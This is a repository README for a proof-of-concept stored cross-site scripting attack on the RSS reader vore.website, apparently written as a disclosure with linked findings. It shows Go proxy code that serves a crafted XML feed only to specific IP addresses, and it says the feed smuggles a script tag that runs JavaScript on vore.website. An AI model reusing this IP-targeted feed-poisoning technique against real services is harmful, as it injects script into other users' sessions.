tserof_nosnoj
| presentation | ||
| .gitignore | ||
| build_docker.sh | ||
| docker-compose.yml | ||
| Dockerfile | ||
| findings.md | ||
| i-had-fun-making-this | ||
| main.go | ||
| payload.js | ||
| payload.xml | ||
| payload2.js | ||
| ReadMe.md | ||
What happen?
-
vore reaper requests
https://sequentialread.com/rss/ -
sequentialread.com custom reverse proxy detects vore reaper and returns custom XML
if strings.Trim(request.URL.Path, "/") == "rss" {log.Printf("GET /rss from %s\n", ip)if ip == "198.74.6.203" || ip == "69.61.2.229" || ip == "192.168.0.1" {payloadDotXML, err := os.ReadFile("payload.xml")if err != nil {log.Printf("tserof_nosnoj 500 can't os.ReadFile(\"payload.xml\"): %s\n\n", err)http.Error(responseWriter, "500 Internal Server Error", 500)return}hash := md5.Sum(payloadDotXML)responseWriter.Header().Add("Content-Type", "text/xml; charset=utf-8")responseWriter.Header().Add("Content-Length", strconv.Itoa(len(payloadDotXML)))responseWriter.Header().Add("etag", fmt.Sprintf("%x", hash[0:8]))responseWriter.Write(payloadDotXML)return}} -
XML has an HTML script tag embedded inside a field that vore uses https://git.cyberia.club/forest/tserof-nosnoj/src/branch/master/payload.xml#L14
-
XSS payload executes on vore.website, greeting the
j3suser https://git.cyberia.club/forest/tserof-nosnoj/src/branch/master/payload.js
see findings.md